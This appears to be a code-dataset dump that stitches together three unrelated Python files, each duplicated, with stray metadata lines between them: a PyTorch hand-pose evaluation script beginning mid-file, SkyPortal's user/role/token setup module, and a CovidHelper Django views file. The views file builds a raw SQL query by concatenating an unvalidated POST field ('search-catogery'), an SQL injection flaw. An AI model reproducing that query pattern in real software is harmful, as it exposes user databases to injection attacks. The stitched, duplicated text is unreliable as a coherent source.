required=True, type=str) parser.add_argument('opts', help="Modify cfg options using the command-line", default=None, nargs=argparse.REMAINDER) parser.add_argument('--gpu', help='gpu id for multiprocessing training', default=-1, type=int) parser.add_argument('--world-size', default=1, type=int, help='number of nodes for distributed training') parser.add_argument('--is_vis', default=0, type=int) parser.add_argument('--batch_size', default=32, type=int) parser.add_argument('--model_path', default='', type=str) args = parser.parse_args() return args def main(): args = parse_args() update_config(cfg, args) cfg.defrost() cfg.freeze() file_path = './eval_results' if not os.path.exists(file_path): os.mkdir(file_path) record_prefix = os.path.join(file_path, 'eval2D_results_') if args.is_vis: result_dir = record_prefix + cfg.EXP_NAME mse2d_lst = np.loadtxt(os.path.join(result_dir, 'mse2d_each_joint.txt')) PCK2d_lst = np.loadtxt(os.path.join(result_dir, 'PCK2d.txt')) plot_performance(PCK2d_lst[1,:], PCK2d_lst[0,:], mse2d_lst) exit() cudnn.benchmark = cfg.CUDNN.BENCHMARK torch.backends.cudnn.deterministic = cfg.CUDNN.DETERMINISTIC torch.backends.cudnn.enabled = cfg.CUDNN.ENABLED model_path = args.model_path is_vis = args.is_vis # FP16 SETTING if cfg.FP16.ENABLED: assert torch.backends.cudnn.enabled, "fp16 mode requires cudnn backend to be enabled." if cfg.FP16.STATIC_LOSS_SCALE != 1.0: if not cfg.FP16.ENABLED: print("Warning: if --fp16 is not used, static_loss_scale will be ignored.") model = eval(cfg.MODEL.NAME)(cfg) if cfg.FP16.ENABLED: model = network_to_half(model) if cfg.MODEL.SYNC_BN and not args.distributed: print('Warning: Sync BatchNorm is only supported in distributed training.') if args.gpu != -1: device = torch.device('cuda:'+str(args.gpu)) torch.cuda.set_device(args.gpu) else: device = torch.device('cpu') # load model state if model_path: print("Loading model:", model_path) ckpt = torch.load(model_path, map_location='cpu') if 'state_dict' not in ckpt.keys(): state_dict = ckpt else: state_dict = ckpt['state_dict'] print('Model epoch {}'.format(ckpt['epoch'])) for key in list(state_dict.keys()): new_key = key.replace("module.", "") state_dict[new_key] = state_dict.pop(key) model.load_state_dict(state_dict, strict=True) model.to(device) model.eval() # inference_dataset = eval('dataset.{}'.format(cfg.DATASET.TEST_DATASET[0].replace('_kpt','')))( # cfg.DATA_DIR, # cfg.DATASET.TEST_SET, # transform=transform # ) inference_dataset = eval('dataset.{}'.format(cfg.DATASET.DATASET_NAME))( cfg, transforms=trans, mode='test' ) batch_size = args.batch_size if platform.system() == 'Linux': main_workers = min(8, batch_size) else: batch_size = 4 main_workers = 0 data_loader = torch.utils.data.DataLoader( inference_dataset, batch_size=batch_size, #48 shuffle=False, num_workers=main_workers, #8 pin_memory=False ) print('\nEvaluation loader information:\n' + str(data_loader.dataset)) n_joints = cfg.DATASET.NUM_JOINTS th2d_lst = np.array([i for i in range(1,50)]) PCK2d_lst = np.zeros((len(th2d_lst),)) # two hands mse2d_lst = np.zeros((2*n_joints,)) visibility_lst = np.zeros((2*n_joints,)) print('Start evaluating... [Batch size: {}]\n'.format(data_loader.batch_size)) with torch.no_grad(): pose2d_mse_loss = JointsMSELoss().to(device) infer_time = [0,0] start_time = time.time() for i, ret in enumerate(data_loader): # imgs: b x 3 x H x W # pose2d_gt: b x 42 x 3 [u,v,z] # hand_type: b x 2 ([1,0] for right, [0,1] for left and [1,1] for interacting hands) # pose_valid: b x 42 imgs, pose2d_gt = ret['imgs'].cuda(device, non_blocking=True), ret['pose2d_gt'] hand_type, pose_valid = ret['hand_type'], ret['joint_valid'].numpy() s1 = time.time() batch_size = imgs.shape[0] # cls: b x w*h*n_anchors x 42 # pose_pred: B x 42 x 2 # reg: B x w*h*n_anchors x 42 x 2 pose2d_pred, surrounding_anchors_pred, cls_pred, reg, temperature = model(imgs) if i+1 >= min(len(data_loader), 20): infer_time[0] += 1 infer_time[1] += time.time() - s1 # rescale to the original image before DLT # for k in range(21): # print(pose2d_gt[0,k].tolist(), pose2d_pred[0,k].tolist()) # input() # 2D errors # import matplotlib.pyplot as plt # imgs = cv2.resize(imgs[0].permute(1,2,0).cpu().numpy(), tuple(data_loader.dataset.orig_img_size)) # for k in range(21): # print(pose2d_gt[0,k],pose2d_pred[0,k],visibility[0,k]) # for k in range(0,21,5): # fig = plt.figure() # ax1 = fig.add_subplot(131) # ax2 = fig.add_subplot(132) # ax3 = fig.add_subplot(133) # ax1.imshow(cv2.cvtColor(imgs / imgs.max(), cv2.COLOR_BGR2RGB)) # plot_hand(ax1, pose2d_gt[0,:,0:2], order='uv') # ax2.imshow(cv2.cvtColor(imgs / imgs.max(), cv2.COLOR_BGR2RGB)) # plot_hand(ax2, pose2d_pred[0,:,0:2], order='uv') # ax3.imshow(heatmaps_pred[0,k].cpu().numpy()) # plt.show() mse_each_joint = np.linalg.norm(pose2d_pred[:,:,0:2].cpu().numpy() - pose2d_gt[:,:,0:2].numpy(), axis=2) * pose_valid # b x 42 mse2d_lst += mse_each_joint.sum(axis=0) visibility_lst += pose_valid.sum(axis=0) for th_idx in range(len(th2d_lst)): PCK2d_lst[th_idx] += np.sum((mse_each_joint < th2d_lst[th_idx]) * pose_valid) period = min(len(data_loader), 10) if i % (len(data_loader)//period) == 0: print("[Evaluation]{}% finished.".format(period * i // (len(data_loader)//period))) #if i == 10:break print('Evaluation spent {:.2f} s\tfps: {:.1f} {:.4f}'.format(time.time()-start_time, infer_time[0]/infer_time[1], infer_time[1]/infer_time[0])) mse2d_lst /= visibility_lst PCK2d_lst /= visibility_lst.sum() result_dir = record_prefix+cfg.EXP_NAME if not os.path.exists(result_dir): os.mkdir(result_dir) mse_file, pck_file = os.path.join(result_dir, 'mse2d_each_joint.txt'), os.path.join(result_dir, 'PCK2d.txt') print('Saving results to ' + mse_file) print('Saving results to ' + pck_file) np.savetxt(mse_file, mse2d_lst, fmt='%.4f') np.savetxt(pck_file, np.stack((th2d_lst, PCK2d_lst))) plot_performance(PCK2d_lst, th2d_lst, mse2d_lst, hand_type='interacting') main()

from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import platform import numpy as np import time import os import torch import torch.backends.cudnn as cudnn import _init_paths from config import cfg from config import update_config from utils.utils import get_model_summary from ptflops import get_model_complexity_info from fp16_utils.fp16util import network_to_half from core.loss import BoneLengthLoss, JointAngleLoss, JointsMSELoss import dataset from dataset.build import trans from models import A2JPoseNet from utils.misc import plot_performance import matplotlib if platform.system() == 'Linux': matplotlib.use('Agg') else: matplotlib.use('Tkagg') # python evaluate_2D.py --cfg ../experiments/InterHand/exp_test.yaml --model_path ../output/InterHand/exp_test/model_best.pth.tar --gpu 3 --batch_size 32 def parse_args(): parser = argparse.ArgumentParser(description='Please specify the mode [training/assessment/predicting]') parser.add_argument('--cfg', help='experiment configure file name', required=True, type=str) parser.add_argument('opts', help="Modify cfg options using the command-line", default=None, nargs=argparse.REMAINDER) parser.add_argument('--gpu', help='gpu id for multiprocessing training', default=-1, type=int) parser.add_argument('--world-size', default=1, type=int, help='number of nodes for distributed training') parser.add_argument('--is_vis', default=0, type=int) parser.add_argument('--batch_size', default=32, type=int) parser.add_argument('--model_path', default='', type=str) args = parser.parse_args() return args def main(): args = parse_args() update_config(cfg, args) cfg.defrost() cfg.freeze() file_path = './eval_results' if not os.path.exists(file_path): os.mkdir(file_path) record_prefix = os.path.join(file_path, 'eval2D_results_') if args.is_vis: result_dir = record_prefix + cfg.EXP_NAME mse2d_lst = np.loadtxt(os.path.join(result_dir, 'mse2d_each_joint.txt')) PCK2d_lst = np.loadtxt(os.path.join(result_dir, 'PCK2d.txt')) plot_performance(PCK2d_lst[1,:], PCK2d_lst[0,:], mse2d_lst) exit() cudnn.benchmark = cfg.CUDNN.BENCHMARK torch.backends.cudnn.deterministic = cfg.CUDNN.DETERMINISTIC torch.backends.cudnn.enabled = cfg.CUDNN.ENABLED model_path = args.model_path is_vis = args.is_vis # FP16 SETTING if cfg.FP16.ENABLED: assert torch.backends.cudnn.enabled, "fp16 mode requires cudnn backend to be enabled." if cfg.FP16.STATIC_LOSS_SCALE != 1.0: if not cfg.FP16.ENABLED: print("Warning: if --fp16 is not used, static_loss_scale will be ignored.") model = eval(cfg.MODEL.NAME)(cfg) if cfg.FP16.ENABLED: model = network_to_half(model) if cfg.MODEL.SYNC_BN and not args.distributed: print('Warning: Sync BatchNorm is only supported in distributed training.') if args.gpu != -1: device = torch.device('cuda:'+str(args.gpu)) torch.cuda.set_device(args.gpu) else: device = torch.device('cpu') # load model state if model_path: print("Loading model:", model_path) ckpt = torch.load(model_path, map_location='cpu') if 'state_dict' not in ckpt.keys(): state_dict = ckpt else: state_dict = ckpt['state_dict'] print('Model epoch {}'.format(ckpt['epoch'])) for key in list(state_dict.keys()): new_key = key.replace("module.", "") state_dict[new_key] = state_dict.pop(key) model.load_state_dict(state_dict, strict=True) model.to(device) model.eval() # inference_dataset = eval('dataset.{}'.format(cfg.DATASET.TEST_DATASET[0].replace('_kpt','')))( # cfg.DATA_DIR, # cfg.DATASET.TEST_SET, # transform=transform # ) inference_dataset = eval('dataset.{}'.format(cfg.DATASET.DATASET_NAME))( cfg, transforms=trans, mode='test' ) batch_size = args.batch_size if platform.system() == 'Linux': main_workers = min(8, batch_size) else: batch_size = 4 main_workers = 0 data_loader = torch.utils.data.DataLoader( inference_dataset, batch_size=batch_size, #48 shuffle=False, num_workers=main_workers, #8 pin_memory=False ) print('\nEvaluation loader information:\n' + str(data_loader.dataset)) n_joints = cfg.DATASET.NUM_JOINTS th2d_lst = np.array([i for i in range(1,50)]) PCK2d_lst = np.zeros((len(th2d_lst),)) # two hands mse2d_lst = np.zeros((2*n_joints,)) visibility_lst = np.zeros((2*n_joints,)) print('Start evaluating... [Batch size: {}]\n'.format(data_loader.batch_size)) with torch.no_grad(): pose2d_mse_loss = JointsMSELoss().to(device) infer_time = [0,0] start_time = time.time() for i, ret in enumerate(data_loader): # imgs: b x 3 x H x W # pose2d_gt: b x 42 x 3 [u,v,z] # hand_type: b x 2 ([1,0] for right, [0,1] for left and [1,1] for interacting hands) # pose_valid: b x 42 imgs, pose2d_gt = ret['imgs'].cuda(device, non_blocking=True), ret['pose2d_gt'] hand_type, pose_valid = ret['hand_type'], ret['joint_valid'].numpy() s1 = time.time() batch_size = imgs.shape[0] # cls: b x w*h*n_anchors x 42 # pose_pred: B x 42 x 2 # reg: B x w*h*n_anchors x 42 x 2 pose2d_pred, surrounding_anchors_pred, cls_pred, reg, temperature = model(imgs) if i+1 >= min(len(data_loader), 20): infer_time[0] += 1 infer_time[1] += time.time() - s1 # rescale to the original image before DLT # for k in range(21): # print(pose2d_gt[0,k].tolist(), pose2d_pred[0,k].tolist()) # input() # 2D errors # import matplotlib.pyplot as plt # imgs = cv2.resize(imgs[0].permute(1,2,0).cpu().numpy(), tuple(data_loader.dataset.orig_img_size)) # for k in range(21): # print(pose2d_gt[0,k],pose2d_pred[0,k],visibility[0,k]) # for k in range(0,21,5): # fig = plt.figure() # ax1 = fig.add_subplot(131) # ax2 = fig.add_subplot(132) # ax3 = fig.add_subplot(133) # ax1.imshow(cv2.cvtColor(imgs / imgs.max(), cv2.COLOR_BGR2RGB)) # plot_hand(ax1, pose2d_gt[0,:,0:2], order='uv') # ax2.imshow(cv2.cvtColor(imgs / imgs.max(), cv2.COLOR_BGR2RGB)) # plot_hand(ax2, pose2d_pred[0,:,0:2], order='uv') # ax3.imshow(heatmaps_pred[0,k].cpu().numpy()) # plt.show() mse_each_joint = np.linalg.norm(pose2d_pred[:,:,0:2].cpu().numpy() - pose2d_gt[:,:,0:2].numpy(), axis=2) * pose_valid # b x 42 mse2d_lst += mse_each_joint.sum(axis=0) visibility_lst += pose_valid.sum(axis=0) for th_idx in range(len(th2d_lst)): PCK2d_lst[th_idx] += np.sum((mse_each_joint < th2d_lst[th_idx]) * pose_valid) period = min(len(data_loader), 10) if i % (len(data_loader)//period) == 0: print("[Evaluation]{}% finished.".format(period * i // (len(data_loader)//period))) #if i == 10:break print('Evaluation spent {:.2f} s\tfps: {:.1f} {:.4f}'.format(time.time()-start_time, infer_time[0]/infer_time[1], infer_time[1]/infer_time[0])) mse2d_lst /= visibility_lst PCK2d_lst /= visibility_lst.sum() result_dir = record_prefix+cfg.EXP_NAME if not os.path.exists(result_dir): os.mkdir(result_dir) mse_file, pck_file = os.path.join(result_dir, 'mse2d_each_joint.txt'), os.path.join(result_dir, 'PCK2d.txt') print('Saving results to ' + mse_file) print('Saving results to ' + pck_file) np.savetxt(mse_file, mse2d_lst, fmt='%.4f') np.savetxt(pck_file, np.stack((th2d_lst, PCK2d_lst))) plot_performance(PCK2d_lst, th2d_lst, mse2d_lst, hand_type='interacting') main()

en

skyportal/model_util.py

jadalilleboe/skyportal

13550

from social_tornado.models import TornadoStorage from skyportal.models import DBSession, ACL, Role, User, Token, Group from skyportal.enum_types import LISTENER_CLASSES, sqla_enum_types from baselayer.app.env import load_env all_acl_ids = [ 'Become user', 'Comment', 'Annotate', 'Manage users', 'Manage sources', 'Manage groups', 'Manage shifts', 'Manage allocations', 'Manage observing runs', 'Upload data', 'System admin', 'Post taxonomy', 'Delete taxonomy', 'Classify', ] + [c.get_acl_id() for c in LISTENER_CLASSES] role_acls = { 'Super admin': all_acl_ids, 'Group admin': [ 'Annotate', 'Comment', 'Manage shifts', 'Manage sources', 'Upload data', 'Post taxonomy', 'Manage users', 'Classify', 'Manage observing runs', ], 'Full user': [ 'Annotate', 'Comment', 'Upload data', 'Classify', 'Manage observing runs', ], 'View only': [], } env, cfg = load_env() def add_user(username, roles=[], auth=False, first_name=None, last_name=None): user = User.query.filter(User.username == username).first() if user is None: user = User(username=username, first_name=first_name, last_name=last_name) if auth: TornadoStorage.user.create_social_auth(user, user.username, 'google-oauth2') for rolename in roles: role = Role.query.get(rolename) if role not in user.roles: user.roles.append(role) DBSession().add(user) DBSession().flush() # Add user to sitewide public group public_group = Group.query.filter( Group.name == cfg["misc"]["public_group_name"] ).first() if public_group is None: public_group = Group(name=cfg["misc"]["public_group_name"]) DBSession().add(public_group) DBSession().flush() user.groups.append(public_group) DBSession().commit() return User.query.filter(User.username == username).first() def refresh_enums(): for type in sqla_enum_types: for key in type.enums: DBSession().execute( f"ALTER TYPE {type.name} ADD VALUE IF NOT EXISTS '{key}'" ) DBSession().commit() def make_super_user(username): """Initializes a super user with full permissions.""" setup_permissions() # make sure permissions already exist add_user(username, roles=['Super admin'], auth=True) def provision_token(): """Provision an initial administrative token.""" admin = add_user( 'provisioned_admin', roles=['Super admin'], first_name="provisioned", last_name="admin", ) token_name = 'Initial <PASSWORD> token' token = ( Token.query.filter(Token.created_by == admin).filter(Token.name == token_name) ).first() if token is None: token_id = create_token(all_acl_ids, user_id=admin.id, name=token_name) token = Token.query.get(token_id) return token def provision_public_group(): """If public group name is set in the config file, create it.""" env, cfg = load_env() public_group_name = cfg['misc.public_group_name'] if public_group_name: pg = Group.query.filter(Group.name == public_group_name).first() if pg is None: DBSession().add(Group(name=public_group_name)) DBSession().commit() def setup_permissions(): """Create default ACLs/Roles needed by application. If a given ACL or Role already exists, it will be skipped.""" all_acls = [ACL.create_or_get(a) for a in all_acl_ids] DBSession().add_all(all_acls) DBSession().commit() for r, acl_ids in role_acls.items(): role = Role.create_or_get(r) role.acls = [ACL.query.get(a) for a in acl_ids] DBSession().add(role) DBSession().commit() def create_token(ACLs, user_id, name): t = Token(permissions=ACLs, name=name) u = User.query.get(user_id) u.tokens.append(t) t.created_by = u DBSession().add(u) DBSession().add(t) DBSession().commit() return t.id def delete_token(token_id): t = Token.query.get(token_id) if DBSession().query(Token).filter(Token.id == token_id).first(): DBSession().delete(t) DBSession().commit()

from social_tornado.models import TornadoStorage from skyportal.models import DBSession, ACL, Role, User, Token, Group from skyportal.enum_types import LISTENER_CLASSES, sqla_enum_types from baselayer.app.env import load_env all_acl_ids = [ 'Become user', 'Comment', 'Annotate', 'Manage users', 'Manage sources', 'Manage groups', 'Manage shifts', 'Manage allocations', 'Manage observing runs', 'Upload data', 'System admin', 'Post taxonomy', 'Delete taxonomy', 'Classify', ] + [c.get_acl_id() for c in LISTENER_CLASSES] role_acls = { 'Super admin': all_acl_ids, 'Group admin': [ 'Annotate', 'Comment', 'Manage shifts', 'Manage sources', 'Upload data', 'Post taxonomy', 'Manage users', 'Classify', 'Manage observing runs', ], 'Full user': [ 'Annotate', 'Comment', 'Upload data', 'Classify', 'Manage observing runs', ], 'View only': [], } env, cfg = load_env() def add_user(username, roles=[], auth=False, first_name=None, last_name=None): user = User.query.filter(User.username == username).first() if user is None: user = User(username=username, first_name=first_name, last_name=last_name) if auth: TornadoStorage.user.create_social_auth(user, user.username, 'google-oauth2') for rolename in roles: role = Role.query.get(rolename) if role not in user.roles: user.roles.append(role) DBSession().add(user) DBSession().flush() # Add user to sitewide public group public_group = Group.query.filter( Group.name == cfg["misc"]["public_group_name"] ).first() if public_group is None: public_group = Group(name=cfg["misc"]["public_group_name"]) DBSession().add(public_group) DBSession().flush() user.groups.append(public_group) DBSession().commit() return User.query.filter(User.username == username).first() def refresh_enums(): for type in sqla_enum_types: for key in type.enums: DBSession().execute( f"ALTER TYPE {type.name} ADD VALUE IF NOT EXISTS '{key}'" ) DBSession().commit() def make_super_user(username): """Initializes a super user with full permissions.""" setup_permissions() # make sure permissions already exist add_user(username, roles=['Super admin'], auth=True) def provision_token(): """Provision an initial administrative token.""" admin = add_user( 'provisioned_admin', roles=['Super admin'], first_name="provisioned", last_name="admin", ) token_name = 'Initial <PASSWORD> token' token = ( Token.query.filter(Token.created_by == admin).filter(Token.name == token_name) ).first() if token is None: token_id = create_token(all_acl_ids, user_id=admin.id, name=token_name) token = Token.query.get(token_id) return token def provision_public_group(): """If public group name is set in the config file, create it.""" env, cfg = load_env() public_group_name = cfg['misc.public_group_name'] if public_group_name: pg = Group.query.filter(Group.name == public_group_name).first() if pg is None: DBSession().add(Group(name=public_group_name)) DBSession().commit() def setup_permissions(): """Create default ACLs/Roles needed by application. If a given ACL or Role already exists, it will be skipped.""" all_acls = [ACL.create_or_get(a) for a in all_acl_ids] DBSession().add_all(all_acls) DBSession().commit() for r, acl_ids in role_acls.items(): role = Role.create_or_get(r) role.acls = [ACL.query.get(a) for a in acl_ids] DBSession().add(role) DBSession().commit() def create_token(ACLs, user_id, name): t = Token(permissions=ACLs, name=name) u = User.query.get(user_id) u.tokens.append(t) t.created_by = u DBSession().add(u) DBSession().add(t) DBSession().commit() return t.id def delete_token(token_id): t = Token.query.get(token_id) if DBSession().query(Token).filter(Token.id == token_id).first(): DBSession().delete(t) DBSession().commit()

pt

pages/views.py

SmartDataWithR/CovidHelper

13551

<filename>pages/views.py from django.views.generic import TemplateView from ipware import get_client_ip from django.shortcuts import render, redirect from django.contrib import messages from django.contrib.auth.forms import PasswordChangeForm from django.contrib.auth import update_session_auth_hash from django.conf import settings from .forms import SearchForm from users.models import CustomUser import geopy from geopy.distance import geodesic import pandas as pd import json from django.utils.translation import gettext as _, activate # required for IP to numeric import socket import struct # import file for ip's to language mapping df_ip_lang = pd.read_csv('pages/lng_map.csv', names=['ip_from', 'ip_to', 'country_code', 'country_name', 'lang_code'] ) def ip(request): ip, is_routable = get_client_ip(request) if ip is None: ip = "0.0.0.0" else: if is_routable: ipv = "Public" else: ipv = "Private" return (ip, ipv) def ip2int(addr): return struct.unpack("!I", socket.inet_aton(addr))[0] def index(request): search = request.POST.get('search-field') searchCat = request.POST.get('search-catogery') locator = geopy.Nominatim(user_agent="myGeocoder") gotodiv = False # From IP to Language #-------------------- request_ip = ip(request) # get request IP request_ip_int = ip2int(request_ip[0]) # convert IP to numeric df_filt = df_ip_lang[df_ip_lang.ip_from <= request_ip_int] # filter data for fetched ip range_to_check = df_filt.iloc[-1] is_in_range = request_ip_int > range_to_check.ip_from & request_ip_int < range_to_check.ip_to # check that my IP is in range country_code = 'en-us' # initialise default language if is_in_range: # if an entry is found in dataframe, set this one to country-code country_code = range_to_check.lang_code activate(country_code) # activate the current language code current_path = str(request.get_full_path()).strip('/') print(current_path) # if user selected a language manually, use this one if current_path == 'en': activate('en-us') elif current_path != '': activate(current_path) context = {} if search != None: location = locator.geocode(search, timeout=5) if not hasattr(location, 'longitude'): location = locator.geocode('Hamburg', timeout=5) # get result for 'All' (Category 4) if searchCat == '4': sql_q = 'SELECT * FROM users_customuser' else: sql_q = 'SELECT * FROM users_customuser WHERE group_membership like ' + searchCat print(sql_q) #query = 'SELECT * FROM users_customuser' #if search != None and searchCat == '4': #df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type] for u in CustomUser.objects.raw('SELECT * FROM users_customuser') ) #query = 'SELECT * FROM users_customuser' #else: #df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type] for u in CustomUser.objects.raw('SELECT * FROM users_customuser WHERE group_membership = searchCat') ) #query = 'SELECT * FROM users_customuser WHERE group_membership = '.searchCat # df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type, u.userImg_Url] for u in CustomUser.objects.raw('SELECT * FROM users_customuser WHERE group_membership IN(SELECT group_membership FROM users_customuser WHERE (%s<>'' AND group_membership IN('0','1','3')) OR (%s<>'' AND group_membership=group_membership))', [searchCat]) ) #df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type, u.userImg_Url] for u in CustomUser.objects.raw('SELECT * FROM users_customuser WHERE group_membership IN(SELECT group_membership FROM users_customuser WHERE (%s <> NULL AND group_membership IN('0','1','3')) OR (group_membership = group_membership))', [searchCat]) ) df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type, u.userImg_Url, u.shop_type] for u in CustomUser.objects.raw(sql_q) ) df.columns = ['id','group_membership', 'longitude', 'latitude', 'slogan', 'zip_code', 'description', 'map_show_location', 'username', 'help_type', 'userImg_Url', 'shop_type'] df['distance'] = [geodesic((location.longitude, location.latitude), (x, y)).miles for x,y in zip(df['longitude'], df['latitude'])] # filter for distance max 20km (12.4miles) df_filt = df[df['distance'] < 12.4] print(df_filt) # pass the data to the template group_membership = df_filt['group_membership'].values.tolist() group_membership = [int(x) for x in group_membership] help_type = df_filt['help_type'].values.tolist() userImg_Url = df_filt['userImg_Url'].values.tolist() slogan = df_filt['slogan'].values.tolist() shop_type = df_filt['shop_type'].values.tolist() description = df_filt['description'].values.tolist() username = df_filt['username'].values.tolist() zipcode = df_filt['zip_code'].values.tolist() #tel_private = df_filt['tel_private'].values.tolist() #tel_mobile = df_filt['tel_mobile'].values.tolist() longitudes = df_filt['longitude'].values.tolist() latitudes = df_filt['latitude'].values.tolist() ids = df_filt['id'].values.tolist() map_show_location = df_filt['map_show_location'].values.tolist() map_show_location = [int(x) for x in map_show_location] rname = list(range(0, len(ids))) template_table = list(zip(rname, ids, slogan, description, zipcode)) gotodiv = 'search' context = {'longitude': location.longitude, 'latitude': location.latitude,'id':ids, 'userImg_Url':userImg_Url, 'group_membership': group_membership, 'longitudes': longitudes, 'latitudes': latitudes, 'slogan': slogan, 'description': description, 'gotodiv': gotodiv, 'map_show_location':map_show_location, 'template_table':template_table, 'username':username, 'help_type':help_type} return render(request, 'pages/home.html', context) class HomePageView(TemplateView): template_name = 'pages/home.html' class AboutPageView(TemplateView): template_name = 'pages/about.html' def searchLocation(request): form = SearchForm(request) print(form) if request.method=='POST': form = SearchForm(request.POST) return render(request, 'pages/home.html', {'form': form}) def change_password(request): if request.method == 'POST': form = PasswordChangeForm(request.user, request.POST) if form.is_valid(): user = form.save() update_session_auth_hash(request, user) # Important! messages.success(request, 'Your password was successfully updated!') return redirect('change_password') else: messages.error(request, 'Please correct the error below.') else: form = PasswordChangeForm(request.user) return render(request, 'account/password_set.html', { 'form': form }) def privacy(request): return render(request, 'pages/privacy.html') def imprint(request): return render(request, 'pages/imprint.html') def terms(request): return render(request, 'pages/terms_conditions.html') def cookie_policy(request): return render(request, 'pages/cookie_policy.html')

<filename>pages/views.py from django.views.generic import TemplateView from ipware import get_client_ip from django.shortcuts import render, redirect from django.contrib import messages from django.contrib.auth.forms import PasswordChangeForm from django.contrib.auth import update_session_auth_hash from django.conf import settings from .forms import SearchForm from users.models import CustomUser import geopy from geopy.distance import geodesic import pandas as pd import json from django.utils.translation import gettext as _, activate # required for IP to numeric import socket import struct # import file for ip's to language mapping df_ip_lang = pd.read_csv('pages/lng_map.csv', names=['ip_from', 'ip_to', 'country_code', 'country_name', 'lang_code'] ) def ip(request): ip, is_routable = get_client_ip(request) if ip is None: ip = "0.0.0.0" else: if is_routable: ipv = "Public" else: ipv = "Private" return (ip, ipv) def ip2int(addr): return struct.unpack("!I", socket.inet_aton(addr))[0] def index(request): search = request.POST.get('search-field') searchCat = request.POST.get('search-catogery') locator = geopy.Nominatim(user_agent="myGeocoder") gotodiv = False # From IP to Language #-------------------- request_ip = ip(request) # get request IP request_ip_int = ip2int(request_ip[0]) # convert IP to numeric df_filt = df_ip_lang[df_ip_lang.ip_from <= request_ip_int] # filter data for fetched ip range_to_check = df_filt.iloc[-1] is_in_range = request_ip_int > range_to_check.ip_from & request_ip_int < range_to_check.ip_to # check that my IP is in range country_code = 'en-us' # initialise default language if is_in_range: # if an entry is found in dataframe, set this one to country-code country_code = range_to_check.lang_code activate(country_code) # activate the current language code current_path = str(request.get_full_path()).strip('/') print(current_path) # if user selected a language manually, use this one if current_path == 'en': activate('en-us') elif current_path != '': activate(current_path) context = {} if search != None: location = locator.geocode(search, timeout=5) if not hasattr(location, 'longitude'): location = locator.geocode('Hamburg', timeout=5) # get result for 'All' (Category 4) if searchCat == '4': sql_q = 'SELECT * FROM users_customuser' else: sql_q = 'SELECT * FROM users_customuser WHERE group_membership like ' + searchCat print(sql_q) #query = 'SELECT * FROM users_customuser' #if search != None and searchCat == '4': #df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type] for u in CustomUser.objects.raw('SELECT * FROM users_customuser') ) #query = 'SELECT * FROM users_customuser' #else: #df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type] for u in CustomUser.objects.raw('SELECT * FROM users_customuser WHERE group_membership = searchCat') ) #query = 'SELECT * FROM users_customuser WHERE group_membership = '.searchCat # df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type, u.userImg_Url] for u in CustomUser.objects.raw('SELECT * FROM users_customuser WHERE group_membership IN(SELECT group_membership FROM users_customuser WHERE (%s<>'' AND group_membership IN('0','1','3')) OR (%s<>'' AND group_membership=group_membership))', [searchCat]) ) #df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type, u.userImg_Url] for u in CustomUser.objects.raw('SELECT * FROM users_customuser WHERE group_membership IN(SELECT group_membership FROM users_customuser WHERE (%s <> NULL AND group_membership IN('0','1','3')) OR (group_membership = group_membership))', [searchCat]) ) df = pd.DataFrame([u.id, u.group_membership, u.longitude, u.latitude, u.slogan, u.zip_code, u.description, u.map_show_location, u.username, u.help_type, u.userImg_Url, u.shop_type] for u in CustomUser.objects.raw(sql_q) ) df.columns = ['id','group_membership', 'longitude', 'latitude', 'slogan', 'zip_code', 'description', 'map_show_location', 'username', 'help_type', 'userImg_Url', 'shop_type'] df['distance'] = [geodesic((location.longitude, location.latitude), (x, y)).miles for x,y in zip(df['longitude'], df['latitude'])] # filter for distance max 20km (12.4miles) df_filt = df[df['distance'] < 12.4] print(df_filt) # pass the data to the template group_membership = df_filt['group_membership'].values.tolist() group_membership = [int(x) for x in group_membership] help_type = df_filt['help_type'].values.tolist() userImg_Url = df_filt['userImg_Url'].values.tolist() slogan = df_filt['slogan'].values.tolist() shop_type = df_filt['shop_type'].values.tolist() description = df_filt['description'].values.tolist() username = df_filt['username'].values.tolist() zipcode = df_filt['zip_code'].values.tolist() #tel_private = df_filt['tel_private'].values.tolist() #tel_mobile = df_filt['tel_mobile'].values.tolist() longitudes = df_filt['longitude'].values.tolist() latitudes = df_filt['latitude'].values.tolist() ids = df_filt['id'].values.tolist() map_show_location = df_filt['map_show_location'].values.tolist() map_show_location = [int(x) for x in map_show_location] rname = list(range(0, len(ids))) template_table = list(zip(rname, ids, slogan, description, zipcode)) gotodiv = 'search' context = {'longitude': location.longitude, 'latitude': location.latitude,'id':ids, 'userImg_Url':userImg_Url, 'group_membership': group_membership, 'longitudes': longitudes, 'latitudes': latitudes, 'slogan': slogan, 'description': description, 'gotodiv': gotodiv, 'map_show_location':map_show_location, 'template_table':template_table, 'username':username, 'help_type':help_type} return render(request, 'pages/home.html', context) class HomePageView(TemplateView): template_name = 'pages/home.html' class AboutPageView(TemplateView): template_name = 'pages/about.html' def searchLocation(request): form = SearchForm(request) print(form) if request.method=='POST': form = SearchForm(request.POST) return render(request, 'pages/home.html', {'form': form}) def change_password(request): if request.method == 'POST': form = PasswordChangeForm(request.user, request.POST) if form.is_valid(): user = form.save() update_session_auth_hash(request, user) # Important! messages.success(request, 'Your password was successfully updated!') return redirect('change_password') else: messages.error(request, 'Please correct the error below.') else: form = PasswordChangeForm(request.user) return render(request, 'account/password_set.html', { 'form': form }) def privacy(request): return render(request, 'pages/privacy.html') def imprint(request): return render(request, 'pages/imprint.html') def terms(request): return render(request, 'pages/terms_conditions.html') def cookie_policy(request): return render(request, 'pages/cookie_policy.html')

pt

